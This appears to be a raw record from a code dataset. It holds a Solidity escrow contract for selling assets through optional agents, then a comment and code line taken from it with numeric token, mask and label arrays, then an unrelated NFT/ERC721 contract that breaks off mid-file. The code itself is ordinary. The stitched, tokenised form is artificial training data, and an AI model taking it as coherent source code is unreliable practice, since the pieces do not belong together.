pragma solidity ^0.4.24; // Basic Escrow contract between 2 (seller & buyer) or 3 (& agent) parties. // // seller offers an asset (e.g. a domain) for sale at a certain price. // - seller can opt to sell to a specific buyer or any buyer // - seller can opt to assign an escrow agent to the listing // - or any combination of these // buyer can then buy a listed asset by committing the total price to the contract. // upon receiving the asset, buyer (or assigned agent) release the payment to seller & agent. // seller and agent can retract their listings while still for sale. @@@ or paid - by returning money // // all parties have an account balance in this contract which they can fund and witdraw from // contract owner can enroll (and dismiss) agents // // (C) 2018 0xUX.com // Stan P. van de Burgt // not implemented: seller can set a guarantee, additional commitment that // both seller and buyer deposit, only returned upon release of funds. contract Escrow { event Offered ( // domain (asset) was published string indexed iname, // name of asset (will be hashed) address indexed agent, // escrow agent (nil if direct sale) address indexed seller, // seller address string name, // name of asset (not hashed) uint price // total (!) price in wei ); event Retracted ( // domain (asset) listing was retracted string indexed iname // name of asset (will be hashed) ); event Bought ( // domain (asset) was bought string indexed iname // name of asset (will be hashed) ); event FundsReleased ( // funds were released string indexed iname, // name of asset (will be hashed) address indexed agent, // escrow agent (nil if direct sale) address indexed buyer, // buyer address uint price // net (!) price in wei ); enum AssetState { FORSALE, // asset is put up for sale by seller PAID, // asset is paid by buyer, funds not yet released RELEASED // asset is received, funds released } struct Asset { address seller; // owner of the asset uint price; // net price of asset in wei uint escrowfee; // agent fee (in wei) uint handlingfee; // fee charged by this contract (in wei) address agent; // escrow agent - nill if direct sale address buyer; // buyer, if nill (only state=FORSALE): anyone can buy uint blocknumber; // block number when asset was PAID AssetState state; // current state } // struct Agent { // string name; // name of escrow agent // string url; // escrow agent site // uint8 fee; // fee (promilage, >0 <256) // } // Agent [] all_agents address contract_owner; // owner of this contract address handling_wallet; // where eth for handling fees goes uint8 handling_promillage; // owner fee on transactions uint constant min_blocks = 10; // minimum number of blocks before payout mapping(address => uint) balances; // wallets of all participants (including contract owner) mapping(address => uint8) agents; // agents and their fee (promilage, >0 <256) mapping(bytes32 => Asset) assets; // all assets offered, index by keccak256(asset_name) // Note that keccak256() is 30 gas + 6 gas for each word (rounded up) for input data modifier ownerOnly() { require(msg.sender == contract_owner, "not authorized."); // only contract owner is allowed to call this _; } constructor(uint promilage) public payable { // initialize contract require(promilage > 0, "fee too low"); require(promilage < 256, "fee too high"); // set contract owner, fee and fee destination account contract_owner = msg.sender; handling_wallet = msg.sender; handling_promillage = uint8(promilage); // store any ether sent in contract owner's wallet balances[msg.sender] += msg.value; } function () external payable { // fallback function. could do: balances[msg.sender] += msg.value; // but would take more than 2300 gas, so we opt to revert revert("use fund() to fund your escrow account"); } /// kill this contract, send any funds left to owner /// note this is not sent to the handling_wallet /// function exit() external ownerOnly { selfdestruct(contract_owner); } /// set destination account for handling fees /// /// @param account Address of account receiving the fees /// function setWallet(address account) external ownerOnly { handling_wallet = account; } /// offer an asset directly (no escrow agent), to any buyer /// /// @param name Name of asset /// @param price Price in wei (uint) /// function offerDirect(string name, uint price) public { offer(name, price, address(0), address(0)); // no specific buyer and no agent } /// offer an asset to a specific buyer directly, (no escrow agent) /// /// @param name Name of asset /// @param price Price in wei (uint) /// @param buyer Address of buyer /// function offerBuyerDirect(string name, uint price, address buyer) public { offer(name, price, buyer, address(0)); // no agent } /// offer an asset via an escrow agent, to any buyer /// /// @param name Name of asset /// @param price Price in wei (uint) /// @param agent Address of agent /// function offerViaAgent(string name, uint price, address agent) public { offer(name, price, address(0), agent); // no specific buyer } /// offer an asset to a specific buyer via an escrow agent /// /// @param name Name of asset /// @param price Price in wei (uint) /// @param buyer Address of buyer /// @param agent Address of agent /// function offer(string name, uint price, address buyer, address agent) public { // put the asset up for sale (or update it) bytes32 hash = keccak256(bytes(name)); Asset storage a = assets[hash]; require(bytes(name).length != 0, "no name specified"); // minimum string length 1, no maximum if (a.seller == address(0) || a.state == AssetState.RELEASED) { // this is a new offer as otherwise seller field would be defined // or otherwise the asset is released soe we can reuse this record a.seller = msg.sender; a.state = AssetState.FORSALE; a.blocknumber = 0; // not paid yet, so set to 0 (if not already) @@@ set to 2^256-1? } else { // update offer - only possible when still FORSALE and update by same seller // alternatively the contract owner can call cleanup() first require(a.seller == msg.sender, "already listed, only seller can update"); require(a.state == AssetState.FORSALE, "updates not allowed anymore"); } a.price = price; a.buyer = buyer; if (agent == address(0)) { a.agent = address(0); a.escrowfee = 0; // direct sale, no agent fees } else { require(agents[agent] > 0, "agent not enrolled"); a.agent = agent; a.escrowfee = computeFee(price, agents[a.agent]); } a.handlingfee = computeFee(price, handling_promillage); // final check for uint overflow of price + fees uint cost = a.price + a.escrowfee + a.handlingfee; require(cost > a.price, "price unit overflow"); emit Offered(name, agent, msg.sender, name, cost); } /// computeFee helper function to avoid uint overflow /// /// @param price Net price of asset /// @param promillage Fee promillage (1/1000, uint8) /// /// @return fee Computed fee (uint) /// function computeFee(uint price, uint8 promillage) private pure returns (uint fee) { fee = price * promillage; assert(fee / promillage == price); // check for overflow in fee computation fee /= 1000; } /// details of a given asset /// /// @param name Name of asset /// /// @return address Seller /// @return address Agent /// @return uint Net price /// @return uint Price /// @return bool For sale? /// @return bool Paid by buyer? /// function details(string name) external view returns ( address seller, address agent, uint netprice, uint price, bool forsale, bool paid ) { bytes32 hash = keccak256(bytes(name)); Asset storage a = assets[hash]; require(a.seller != address(0), "no listing found"); // @@@ or fine to return empty record? seller = a.seller; agent = a.agent; netprice = a.price; price = a.price + a.escrowfee + a.handlingfee; forsale = a.state == AssetState.FORSALE; paid = a.state == AssetState.PAID; } /// retract an offer - by seller or agent /// /// @param name Name of asset /// function retract(string name) external { // seller or agent can retract while still for sale bytes32 hash = keccak256(bytes(name)); Asset storage a = assets[hash]; require(a.seller != address(0), "no listing found"); // only seller or agent can retract, and only while still in FORSALE state require(a.seller == msg.sender || a.agent == msg.sender, "not your listing"); require(a.state == AssetState.FORSALE, "updates not allowed anymore"); //@@@ or should the money be returned // clears the entry in the assets mapping delete assets[hash]; emit Retracted(name); } /// cleanup an offer - only by contract owner /// - will revert previous buy action, if any, and delete the asset record /// /// @param name Name of asset /// function cleanup(string name) external ownerOnly { // revert paid amount to buyer and remove listing (contract owner only) bytes32 hash = keccak256(bytes(name)); Asset storage a = assets[hash]; require(a.seller != address(0), "no listing found"); if (a.state == AssetState.PAID) { // pay back to buyer, return to FORSALE state uint cost = a.price + a.escrowfee + a.handlingfee; balances[a.buyer] += cost; a.state = AssetState.FORSALE; } // clears the entry in the assets mapping delete assets[hash]; emit Retracted(name); } /// buy an asset with caller's account balance and sent ether, if any /// ether sent to this transaction is first added to the sender's balance /// /// @param name Name of asset /// ether sent to this contract is added to the account balance first /// function buy(string name) external payable { bytes32 hash = keccak256(bytes(name)); Asset storage a = assets[hash]; require(a.seller != address(0), "no listing found"); require(a.state == AssetState.FORSALE, "not for sale"); require(a.buyer == address(0) || a.buyer == msg.sender, "not authorized to buy"); // add any ether sent to sender's balance first, before deducting asset price balances[msg.sender] += msg.value; // ensure there is enough balance to buy now uint cost = a.price + a.escrowfee + a.handlingfee; require(balances[msg.sender] >= cost, "fund your escrow account"); // all set, take the money in escrow (held in contract account), and set asset to PAID balances[msg.sender] -= cost; a.buyer = msg.sender; // sets buyer if not already a.state = AssetState.PAID; // asset is now paid for by buyer a.blocknumber = block.number; // makes note when it was paid emit Bought(name); } /// release funds to seller (and fees) after asset received - only buyer or agent can call /// fees will be released to agent and contract owner /// /// @param name Name of asset /// function release(string name) external { bytes32 hash = keccak256(bytes(name)); Asset storage a = assets[hash]; require(a.seller != address(0), "no listing found"); // only agent or buyer can release funds of paid asset to seller require(a.agent == msg.sender || a.buyer == msg.sender, "not authorized to release"); require(a.state == AssetState.PAID, "no funds pending"); // only release after 'min_blocks' blocks mined since getting PAID require(block.number > a.blocknumber + min_blocks, "please retry in a few blocks"); balances[a.seller] += a.price; // pay seller if (a.agent != address(0)) { balances[a.agent] += a.escrowfee; // pay agent } a.state = AssetState.RELEASED; // asset record can be reused now emit FundsReleased(name, a.agent, a.buyer, a.price); handling_wallet.transfer(a.handlingfee); // pay and deposit handling fees // OR (not paid out directly, but increase balance): // balances[handling_wallet] += a.handlingfee; } /// fund caller's escrow account /// function fund() external payable { require(msg.value > 0, "send more than 0 to fund your escrow account"); balances[msg.sender] += msg.value; } /// withdraw (pay out) all funds from callers's escrow account /// function withdraw() external { require(balances[msg.sender] > 0, "no funds in your escrow account"); uint amount = balances[msg.sender]; // zero the balance before sending to prevent re-entrancy attacks balances[msg.sender] = 0; msg.sender.transfer(amount); } /// myBalance get caller's escrow account balance /// /// @return balance (uint) Caller's escrow account balance /// function myBalance() view external returns(uint) { return balances[msg.sender]; } /// enroll or update escrow agent - only contract owner can call /// /// @param agent Address of agent /// @param promilage Fee of agent, in 1/1000 (uint) /// function enroll(address agent, uint promilage) external ownerOnly { //@@@ allow non-owner too, possibly charging an enrollment fee require(agent != address(0), "illegal agent address"); require(promilage > 0, "fee too low"); require(promilage < 256, "fee too high"); agents[agent] = uint8(promilage); } /// dismiss escrow agent - only contract owner can call /// /// @param agent Address of agent /// function dismiss(address agent) external ownerOnly { require(agent != address(0), "illegal agent address"); // clears the entry in the agents mapping delete agents[agent]; // any assets still for sale will still pay out to agent listed upon release } /// isAgent check if someone is enrolled as agent - anyone can call /// /// @param agent Address of agent (or nill to check is caller is enrolled) /// @return enrolled (bool) If agent (if nil: caller) is indeed listed as agent. /// function isAgent(address agent) external view returns (bool enrolled) { //@@@ replace by whois() when we store more than address & fee if (agent == address(0)) { // check if the caller is listed as agent enrolled = agents[msg.sender] > 0; } else { enrolled = agents[agent] > 0; } } } // END
asset record can be reused now
a.state = AssetState.RELEASED;
2,569,038
[ 1, 9406, 1409, 848, 506, 23312, 2037, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 279, 18, 2019, 273, 10494, 1119, 18, 30762, 40, 31, 9079, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2021 Project Galaxy. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; import "ERC721.sol"; import "Ownable.sol"; import "IStarNFT.sol"; contract StarNFT721 is ERC721, IStarNFT, Ownable { using SafeMath for uint256; /* ============ Events ============ */ event EventMinterAdded(address indexed newMinter); event EventMinterRemoved(address indexed oldMinter); /* ============ Modifiers ============ */ /** * Only minter. */ modifier onlyMinter() { require(minters[msg.sender], "must be minter"); _; } /* ============ Enums ================ */ /* ============ Structs ============ */ /* ============ State Variables ============ */ // Mint and burn star. mapping(address => bool) public minters; // Default allow transfer bool public transferable = true; uint256 private _starCount; string private _galaxyName; string private _galaxySymbol; /* ============ Constructor ============ */ constructor() ERC721("", "") {} /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { require(transferable, "disabled"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { require(transferable, "disabled"); safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { require(transferable, "disabled"); _safeTransfer(from, to, tokenId, _data); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _galaxyName; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _galaxySymbol; } /* ============ External Functions ============ */ function mint(address account, uint256 powah) external override onlyMinter returns (uint256) { _starCount++; uint256 sID = _starCount; _mint(account, sID); return sID; } function mintBatch( address account, uint256 amount, uint256[] calldata powahArr ) external override onlyMinter returns (uint256[] memory) { uint256[] memory ids = new uint256[](amount); for (uint256 i = 0; i < ids.length; i++) { _starCount++; ids[i] = _starCount; _mint(account, ids[i]); } return ids; } function burn(address account, uint256 id) external override onlyMinter { require( _isApprovedOrOwner(_msgSender(), id), "ERC721: caller is not approved or owner" ); _burn(id); } function burnBatch(address account, uint256[] calldata ids) external override onlyMinter { for (uint256 i = 0; i < ids.length; i++) { require( _isApprovedOrOwner(_msgSender(), ids[i]), "ERC721: caller is not approved or owner" ); _burn(ids[i]); } } /* ============ External Getter Functions ============ */ function isOwnerOf(address account, uint256 id) public view override returns (bool) { address owner = ownerOf(id); return owner == account; } function getNumMinted() external view override returns (uint256) { return _starCount; } function tokenURI(uint256 id) public view override returns (string memory) { require(id <= _starCount, "NFT does not exist"); if (bytes(baseURI()).length == 0) { return ""; } else { return string(abi.encodePacked(baseURI(), uint2str(id), ".json")); } } /* ============ Internal Functions ============ */ /* ============ Private Functions ============ */ /* ============ Util Functions ============ */ /** * PRIVILEGED MODULE FUNCTION. Sets a new baseURI for all token types. */ function setURI(string memory newURI) external onlyOwner { _setBaseURI(newURI); } /** * PRIVILEGED MODULE FUNCTION. Sets a new transferable for all token types. */ function setTransferable(bool _transferable) external onlyOwner { transferable = _transferable; } /** * PRIVILEGED MODULE FUNCTION. Sets a new name for all token types. */ function setName(string memory _name) external onlyOwner { _galaxyName = _name; } /** * PRIVILEGED MODULE FUNCTION. Sets a new symbol for all token types. */ function setSymbol(string memory _symbol) external onlyOwner { _galaxySymbol = _symbol; } /** * PRIVILEGED MODULE FUNCTION. Add a new minter. */ function addMinter(address minter) external onlyOwner { require(minter != address(0), "Minter must not be null address"); require(!minters[minter], "Minter already added"); minters[minter] = true; emit EventMinterAdded(minter); } /** * PRIVILEGED MODULE FUNCTION. Remove a old minter. */ function removeMinter(address minter) external onlyOwner { require(minters[minter], "Minter does not exist"); delete minters[minter]; emit EventMinterRemoved(minter); } function uint2str(uint256 _i) internal pure returns (string memory) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bStr = new bytes(len); uint256 k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - (_i / 10) * 10)); bytes1 b1 = bytes1(temp); bStr[k] = b1; _i /= 10; } return string(bStr); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "Context.sol"; import "IERC721.sol"; import "IERC721Metadata.sol"; import "IERC721Enumerable.sol"; import "IERC721Receiver.sol"; import "ERC165.sol"; import "SafeMath.sol"; import "Address.sol"; import "EnumerableSet.sol"; import "EnumerableMap.sol"; import "Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* 